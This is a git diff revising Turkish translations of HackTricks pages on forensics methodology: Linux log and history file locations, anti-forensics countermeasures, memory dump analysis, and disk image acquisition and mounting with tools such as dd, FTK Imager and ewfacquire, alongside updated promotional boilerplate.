* **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama girişimlerini, başarılı ve başarısız girişleri kaydeder.
@ -275,17 +275,17 @@ Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli g
* **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri takip etmek için yararlıdır.
* **/var/log/kern.log**: Hata ve uyarılar da dahil olmak üzere çekirdek mesajlarını saklar.
* **/var/log/dmesg**: Aygıt sürücü mesajlarını tutar.
* **/var/log/faillog**: Başarısız giriş girişimlerini kaydeder, güvenlik ihlali araştırmalarında yardımcı olur.
* **/var/log/faillog**: Başarısız giriş girişimlerini kaydeder, güvenlik ihlali soruşturmalarına yardımcı olur.
* **/var/log/cron**: Cron işlerinin yürütülmelerini kaydeder.
* **/var/log/daemon.log**: Arka plan hizmeti etkinliklerini takip eder.
* **/var/log/btmp**: Başarısız giriş girişimlerini belgeler.
* **/var/log/httpd/**: Apache HTTPD hata ve erişim günlüklerini içerir.
* **/var/log/mysqld.log** veya **/var/log/mysql.log**: MySQL veritabanı etkinliklerini kaydeder.
* **/var/log/xferlog**: FTP dosya transferlerini kaydeder.
* **/var/log/**: Burada beklenmedik günlükleri her zaman kontrol edin.
* **/var/log/**: Beklenmedik günlükler için burayı her zaman kontrol edin.
{% hint style="info" %}
Linux sistem günlükleri ve denetim alt sistemleri, bir saldırı veya kötü amaçlı yazılım olayı sırasında devre dışı bırakılabilir veya silinebilir. Çünkü Linux sistemlerindeki günlükler genellikle kötü niyetli etkinlikler hakkında en yararlı bilgileri içerir, saldırganlar bunları düzenli olarak siler. Bu nedenle, mevcut günlük dosyalarını incelerken, silinme veya müdahale belirtisi olabilecek boşluklar veya düzensiz girişler aramak önemlidir.
Linux sistem günlükleri ve denetim alt sistemleri, bir ihlal veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Çünkü Linux sistemlerindeki günlükler genellikle kötü niyetli etkinlikler hakkında en yararlı bilgileri içerir, saldırganlar bunları düzenli olarak siler. Bu nedenle, mevcut günlük dosyalarını incelerken, silinme veya müdahale belirtisi olabilecek boşluklar veya düzensiz girişler aramak önemlidir.
{% endhint %}
**Linux, her kullanıcı için bir komut geçmişi tutar**, şu dosyalarda saklanır:
@ -311,9 +311,9 @@ Bazı uygulamalar ayrıca kendi günlüklerini oluşturur:
* **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla yakın zamanda erişilen dosyalar için _\~/.recently-used.xbel_ dosyasını kontrol edin.
* **Firefox/Chrome**: Şüpheli etkinlikler için _\~/.mozilla/firefox_ veya _\~/.config/google-chrome_ dizinlerinde tarayıcı geçmişi ve indirmeleri kontrol edin.
* **VIM**: Erişim sağlanan dosya yolları ve arama geçmişi gibi kullanım detayları için _\~/.viminfo_ dosyasını gözden geçirin.
* **Open Office**: Kompromize edilmiş dosyaları gösterebilecek yakın tarihli belge erişimlerini kontrol edin.
* **Open Office**: Kompromize olmuş dosyaları gösterebilecek yakın zamanda erişilen belgeleri kontrol edin.
* **FTP/SFTP**: Yetkisiz olabilecek dosya transferleri için _\~/.ftp\_history_ veya _\~/.sftp\_history_ dosyalarını gözden geçirin.
* **MySQL**: Yetkisiz veritabanı etkinliklerini ortaya çıkarabilecek yürütülen MySQL sorguları için _\~/.mysql\_history_ dosyasını araştırın.
* **MySQL**: Yetkisiz veritabanı etkinliklerini ığa çıkarabilecek yürütülen MySQL sorguları için _\~/.mysql\_history_ dosyasını araştırın.
* **Less**: Görüntülenen dosyalar ve yürütülen komutlar dahil olmak üzere kullanım geçmişi için _\~/.lesshst_ dosyasını analiz edin.
* **Git**: Depolardaki değişiklikler için _\~/.gitconfig_ ve proje _.git/logs_ dosyalarını inceleyin.
@ -321,7 +321,7 @@ Bazı uygulamalar ayrıca kendi günlüklerini oluşturur:
[**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmişi tabloları oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya `/var/log/messages*` dağıtıma bağlı olarak) ayrıştıran saf Python 3 ile yazılmış küçük bir yazılımdır.
Kullanılan tüm USB'leri **bilmek** ilginçtir ve "ihlal olaylarını" bulmak için yetkilendirilmiş bir USB listesine sahip olursanız daha faydalı olacaktır (o listedeki USB'lerin dışındaki USB'lerin kullanımı).
Kullanılan tüm USB'leri **bilmek** ilginçtir ve "ihlal olaylarını" bulmak için yetkilendirilmiş bir USB listesine sahip olursanız daha faydalı olacaktır (o listedeki USB'lerin dışında kalan USB'lerin kullanımı).
### Kurulum
```bash
@ -362,10 +362,10 @@ Bu anti-forensic yöntemlere karşı koymak için, şunları yapmak önemlidir:
* **Olay zaman çizelgelerini görselleştirmek için** **Autopsy** gibi araçlar kullanarak **kapsamlı bir zaman çizelgesi analizi** gerçekleştirin veya detaylı zaman çizelgesi verileri için **Sleuth Kit'in** `mactime` aracını kullanın.
* **Sistemin $PATH'inde beklenmedik betikleri** araştırın; bu, saldırganlar tarafından kullanılan shell veya PHP betiklerini içerebilir.
* **Atypik dosyalar için `/dev`'i inceleyin**; çünkü genellikle özel dosyalar içerir, ancak kötü amaçlı yazılımla ilgili dosyaları barındırabilir.
* **Atypik dosyalar için `/dev`'i inceleyin**; çünkü genellikle özel dosyalar içerir, ancak kötü amaçlı yazılımla ilgili dosyalar da barındırabilir.
* **Kötü amaçlı içeriği gizleyebilecek** ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi isimlere sahip gizli dosyaları veya dizinleri arayın.
* **Setuid root dosyalarını tanımlayın**: `find / -user root -perm -04000 -print` komutunu kullanarak, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulun.
* **Kütük tablolarındaki silme zaman damgalarını gözden geçirin**; bu, kök kitleri veya trojanların varlığını gösterebilecek kitlesel dosya silmelerini tespit etmek için olabilir.
* **Setuid root dosyalarını tanımlayın**; komut: `find / -user root -perm -04000 -print` Bu, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulur.
* **Kütük tablolarındaki silme zaman damgalarını gözden geçirin**; bu, kök kitleri veya trojanların varlığını gösterebilecek kitlesel dosya silmelerini tespit etmek için kullanılabilir.
* **Bir kötü amaçlı dosya tespit edildikten sonra** yan yana bulunan inodları inceleyin; çünkü bunlar birlikte yerleştirilmiş olabilir.
* **Son zamanlarda değiştirilmiş dosyalar için yaygın ikili dizinleri** (_/bin_, _/sbin_) kontrol edin; çünkü bunlar kötü amaçlı yazılım tarafından değiştirilmiş olabilir.
````bash
@ -397,13 +397,13 @@ git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ |
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
* **Filtre seçenekleri** (`--diff-filter`), eklenmiş (`A`), silinmiş (`D`) veya değiştirilmiş (`M`) dosyalar gibi belirli değişikliklere daraltmaya yardımcı olur.
* `A`: Eklenmiş dosyalar
* `C`: Kopyalanmış dosyalar
* `D`: Silinmiş dosyalar
* `M`: Değiştirilmiş dosyalar
* `R`: Yeniden adlandırılmış dosyalar
* `T`: Tür değişiklikleri (örneğin, dosya ile symlink arasında)
* **Filtre seçenekleri** (`--diff-filter`), eklenen (`A`), silinen (`D`) veya değiştirilen (`M`) dosyalar gibi belirli değişikliklere daraltmaya yardımcı olur.
* `A`: Eklenen dosyalar
* `C`: Kopyalanan dosyalar
* `D`: Silinen dosyalar
* `M`: Değiştirilen dosyalar
* `R`: Yeniden adlandırılan dosyalar
* `T`: Tür değişiklikleri (örn., dosya ile symlink arasında)
* `U`: Birleştirilmemiş dosyalar
* `X`: Bilinmeyen dosyalar
* `B`: Bozuk dosyalar
@ -415,19 +415,20 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **Kitap: Linux Sistemleri için Kötü Amaçlı Yazılım Adli Bilişim Alan Rehberi**
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong> sıfırdan kahramana AWS hacking öğrenin </strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Ekip Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
Bir **siber güvenlik şirketinde** mi çalışıyorsunuz? **şirketinizin HackTricks'te reklamını görmek** mi istiyorsunuz? veya **PEASS'ın en son sürümüne erişim** mi istiyorsunuz ya da HackTricks'i PDF olarak mı indirmek istiyorsunuz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesini**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bana** **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Hacking ipuçlarınızı paylaşmak için** [**hacktricks repo'suna**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo'suna**](https://github.com/carlospolop/hacktricks-cloud) **PR gönderin.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

View file

@ -1,49 +1,52 @@
# Bellek dökümü analizi
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/), **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'nın en önemli etkinliklerinden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
## Başlangıç
Pcap içinde **kötü amaçlı yazılım** aramaya başlayın. [**Kötü Amaçlı Yazılım Analizi**](../malware-analysis.md) bölümünde bahsedilen **araçları** kullanın.
Pcap içinde **kötü amaçlı yazılım** için **arama yapmaya** başlayın. [**Kötü Amaçlı Yazılım Analizi**](../malware-analysis.md) bölümünde belirtilen **araçları** kullanın.
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
**Volatility, bellek dökümü analizi için ana kaynak kodlu bir çerçevedir**. Bu Python aracı, harici kaynaklardan veya VMware sanal makinelerinden dökümleri analiz ederek, dökümün işletim sistemi profiline dayanarak işlemler ve şifreler gibi verileri tanımlar. Eklentilerle genişletilebilir, bu da adli incelemeler için son derece esnek hale getirir.
**Volatility, bellek dökümü analizi için ana ık kaynak çerçevesidir**. Bu Python aracı, dış kaynaklardan veya VMware sanal makinelerinden dökümleri analiz eder, dökümün işletim sistemi profiline dayalı olarak süreçler ve şifreler gibi verileri tanımlar. Eklentilerle genişletilebilir, bu da onu adli soruşturmalar için son derece çok yönlü hale getirir.
**[İşte bir hile yaprağı](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** bulun.
**[Buradan bir ipucu sayfası bulun](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
## Mini döküm çökme raporu
Döküm küçükse (sadece birkaç KB, belki birkaç MB), muhtemelen bir mini döküm çökme raporu ve bellek dökümü değildir.
Döküm küçükse (sadece birkaç KB, belki birkaç MB) muhtemelen bir mini döküm çökme raporudur ve bellek dökümü değildir.
![](<../../../.gitbook/assets/image (216).png>)
Visual Studio yüklü ise, bu dosyayı açabilir ve işlem adı, mimari, istisna bilgisi ve yürütülen modüller gibi bazı temel bilgileri bağlayabilirsiniz:
Visual Studio yüklüyse, bu dosyayı açabilir ve işlem adı, mimari, istisna bilgisi ve yürütülen modüller gibi bazı temel bilgileri bağlayabilirsiniz:
![](<../../../.gitbook/assets/image (217).png>)
Ayrıca istisnayı yükleyebilir ve dekompilasyon talimatlarını görebilirsiniz.
Ayrıca istisnayı yükleyebilir ve decompile edilmiş talimatları görebilirsiniz.
![](<../../../.gitbook/assets/image (219).png>)
![](<../../../.gitbook/assets/image (218) (1).png>)
Neyse ki, Visual Studio, dökümün derinlik analizini yapmak için en iyi araç değildir.
Her neyse, Visual Studio, dökümün derinlemesine analizini yapmak için en iyi araç değildir.
Onu **IDA** veya **Radare** kullanarak derinlemesine inceleyebilirsiniz.
Bunu **IDA** veya **Radare** kullanarak **derinlemesine** incelemelisiniz.

View file

@ -1,18 +1,21 @@
# Temel Adli Bilişim Metodolojisi
# Temel Adli Metodoloji
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR gönderin**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Görüntü Oluşturma ve Bağlama
## Bir Görüntü Oluşturma ve Bağlama
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %}
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
@ -20,15 +23,15 @@
## Kötü Amaçlı Yazılım Analizi
Bu, **görüntüye sahip olduktan sonra yapılması zorunlu ilk adım değildir**. Ancak bir dosyanız, bir dosya sistemi görüntünüz, bellek görüntünüz, pcap'niz varsa bu kötü amaçlı yazılım analizi tekniklerini bağımsız olarak kullanabilirsiniz, bu nedenle bu eylemleri **akılda tutmak iyi olacaktır**:
Bu **görüntüyü aldıktan sonra gerçekleştirilecek ilk adım olmak zorunda değil**. Ancak bir dosyanız, dosya sistemi görüntünüz, bellek görüntünüz, pcap... varsa bu kötü amaçlı yazılım analiz tekniklerini bağımsız olarak kullanabilirsiniz, bu yüzden **bu eylemleri aklınızda bulundurmak iyi**:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
## Görüntü İnceleme
## Bir Görüntüyü İnceleme
Bir cihazın **adli görüntüsü** verildiğinde **bölümleri, kullanılan dosya sistemi** analiz etmeye ve potansiyel olarak **ilginç dosyaları kurtarmaya** başlayabilirsiniz (hatta silinmiş olanları). Nasıl yapılacağını öğrenin:
Eğer size bir **adli görüntü** verilirse, **bölümleri, kullanılan dosya sistemini** analiz etmeye ve **potansiyel olarak ilginç dosyaları** (silinmiş olanlar dahil) **geri kazanmaya** başlayabilirsiniz. Bunu nasıl yapacağınızı öğrenin:
{% content-ref url="partitions-file-systems-carving/" %}
[partitions-file-systems-carving](partitions-file-systems-carving/)
@ -48,36 +51,36 @@ Kullanılan işletim sistemlerine ve hatta platforma bağlı olarak farklı ilgi
[docker-forensics.md](docker-forensics.md)
{% endcontent-ref %}
## Belirli Dosya Türleri ve Yazılımın Detaylı İncelemesi
## Belirli Dosya Türleri ve Yazılımlarının Derin İncelemesi
Çok **şüpheli bir dosyanız varsa**, o zaman **dosya türüne ve oluşturan yazılıma bağlı olarak** çeşitli **püf noktaları** faydalı olabilir.\
Bazı ilginç püf noktaları öğrenmek için aşağıdaki sayfayı okuyun:
Eğer çok **şüpheli** bir **dosyanız** varsa, o zaman **dosya türüne ve onu oluşturan yazılıma** bağlı olarak birkaç **ipuçları** faydalı olabilir.\
Bazı ilginç ipuçlarını öğrenmek için aşağıdaki sayfayı okuyun:
{% content-ref url="specific-software-file-type-tricks/" %}
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
{% endcontent-ref %}
Özellikle şu sayfaya özel bir vurgu yapmak istiyorum:
Özel bir sayfaya dikkat çekmek istiyorum:
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
{% endcontent-ref %}
## Bellek Dökümü İnceleme
## Bellek Dökümü İncelemesi
{% content-ref url="memory-dump-analysis/" %}
[memory-dump-analysis](memory-dump-analysis/)
{% endcontent-ref %}
## Pcap İnceleme
## Pcap İncelemesi
{% content-ref url="pcap-inspection/" %}
[pcap-inspection](pcap-inspection/)
{% endcontent-ref %}
## **Anti-Adli Bilişim Teknikleri**
## **Anti-Adli Teknikler**
Mümkün olan **anti-adli bilişim tekniklerini** akılda tutun:
Anti-adli tekniklerin olası kullanımını aklınızda bulundurun:
{% content-ref url="anti-forensic-techniques.md" %}
[anti-forensic-techniques.md](anti-forensic-techniques.md)
@ -89,14 +92,17 @@ Mümkün olan **anti-adli bilişim tekniklerini** akılda tutun:
[file-integrity-monitoring.md](file-integrity-monitoring.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR gönderin**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# Görüntü Edinme ve Bağlama
# Görüntü Edinimi & Montaj
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR göndererek katkıda bulunun.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Edinme
## Edinim
### DD
```bash
@ -31,13 +34,13 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
```
### FTK Imager
FTK imajını [**buradan indirebilirsiniz**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
FTK imager'ı [**buradan indirebilirsiniz**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
```bash
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
```
### EWF
Disk imajı oluşturmak için [**ewf araçları**](https://github.com/libyal/libewf) kullanabilirsiniz.
Bir disk imajı oluşturmak için [**ewf tools**](https://github.com/libyal/libewf) kullanabilirsiniz.
```bash
ewfacquire /dev/sdb
#Name: evidence
@ -56,9 +59,9 @@ ewfacquire /dev/sdb
```
## Mount
### Çeşitli türler
### Birkaç tür
**Windows** üzerinde, **forensik görüntüyü bağlamak** için Arsenal Image Mounter'ın ücretsiz sürümünü deneyebilirsiniz ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)).
**Windows** üzerinde, **forensic görüntüsünü** **mount** etmek için Arsenal Image Mounter'ın ücretsiz sürümünü ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) kullanmayı deneyebilirsiniz.
### Raw
```bash
@ -70,8 +73,6 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b
mount evidence.img /mnt
```
### EWF
EWF, or Expert Witness Format, is a file format used to store disk images. EWF files consist of two parts: the metadata information and the actual data. The metadata contains information about the acquisition process, while the data part contains the actual image of the disk. EWF files can be mounted using tools like ewfmount, which allows investigators to access the contents of the disk image without modifying the original data.
```bash
#Get file type
file evidence.E01
